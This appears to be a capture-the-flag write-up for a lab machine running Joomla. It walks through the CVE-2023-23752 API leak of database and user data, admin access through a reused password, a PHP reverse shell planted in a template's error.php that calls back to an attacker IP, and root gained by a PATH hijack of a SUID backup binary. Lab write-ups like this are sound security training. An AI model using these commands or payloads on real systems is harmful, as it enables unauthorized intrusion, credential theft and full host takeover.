HackSmarter Samurai: write-up

Target: 10.1.138.32 (hostname `streetcoder`). I got a shell as `www-data`, escalated to `root` and read both flags.

The chain, in short: Joomla leaks its config through CVE-2023-23752, the database password is reused for the Joomla admin, a template edit gives RCE, and a SUID binary that calls `mariadb-dump` without a full path gives root.

Recon

A fast naabu pass over all TCP ports found two open: 22 and 80. Then nmap on both:

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Samurai
```

The nmap vuln script flagged CVE-2005-3299 (phpMyAdmin LFI in `grab_globals.lib.php`), but the state was `UNKNOWN (unable to test)` and nothing on the host looked like phpMyAdmin. I dropped it as a false positive.

Nuclei, running in parallel, identified Joomla and found its manifest:

```
http://10.1.138.32/administrator/manifests/files/joomla.xml
```

CVE-2023-23752: Joomla config leak

Nuclei also reported a password at the public API endpoint:

```
http://10.1.138.32/api/index.php/v1/config/application?public=true
```

CVE-2023-23752 is an improper access check in Joomla 4.0.0 to 4.2.7. It lets anyone read some API endpoints without authenticating. The response included the database config:

Field	Value
dbtype	mysqli
host	localhost
user	`[REDACTED]`
password	`[REDACTED]`

Field	Value
db	Dbjoomla
dbprefix	iemj4_

MySQL only listens on localhost (3306 is closed), so these creds are useless against the database directly. The next idea was password reuse. The same CVE leaks the users:

```
http://10.1.138.32/api/index.php/v1/users?public=true
```


```
{
  "id": 769,
  "name": "[REDACTED]",
  "username": "[REDACTED]",
  "email": "[REDACTED]",
  "group_names": "Super Users"
}
```


The leaked database password works for that user on `/administrator`. The database password is also the Super User password.

RCE through a template

As admin you can edit the template code (System > Site Templates > Cassiopeia). I added a reverse shell to `error.php`:

```
<?php system("bash -c 'bash -i >& /dev/tcp/10.200.110.73/4444 0>&1'"); ?>
```

Listener on my machine:

```
nc -lvnp 4444
```

Then I triggered the template:

```
curl "http://10.1.138.32/templates/cassiopeia/error.php"
```

That gave me a shell as `www-data`. The user flag is in `/var/www/user.txt`.

Privilege escalation

`sudo -l` shows one entry:

```
User www-data may run the following commands on streetcoder:
    (root) NOPASSWD: /opt/backup/DbMaria
```

```
$ file /opt/backup/DbMaria
/opt/backup/DbMaria: setuid ELF 64-bit LSB pie executable, x86-64, dynamically linked,
not stripped
$ ls -la /opt/backup/
-rwsr-xr-x 1 root root 16128 Mar  6  2026 DbMaria
```

It is SUID root and also allowed in sudoers. Running `strings` on it shows the command it executes:

```
mariadb-dump --socket=/run/mysqld/mysqld.sock -u root %s > /tmp/backup.sql
```

Without arguments it prints `Usage: /opt/backup/DbMaria <database>`.

Two things failed first:

- PATH hijack through `sudo`. `env_reset` and `secure_path` replace my PATH, so the real `mariadb-dump` ran.
- Command injection in the argument (`'; chmod +s /bin/bash;'`). The argument reaches `mariadb-dump` as a database name (`error 1102: Incorrect database name`), so there is no shell in between.

What worked: the binary resolves `mariadb-dump` by name, with no absolute path. If I run it without `sudo`, my PATH survives and the SUID bit already gives root:

```
cd /tmp
printf '#!/bin/bash\nchmod +s /bin/bash\n' > /tmp/mariadb-dump
chmod +x /tmp/mariadb-dump
export PATH=/tmp:$PATH
/opt/backup/DbMaria Dbjoomla
ls -la /bin/bash
/bin/bash -p
id
cat /root/root.txt
```

My fake `mariadb-dump` runs as root and sets the SUID bit on `/bin/bash`. `bash -p` keeps the root euid, and I read `root.txt`.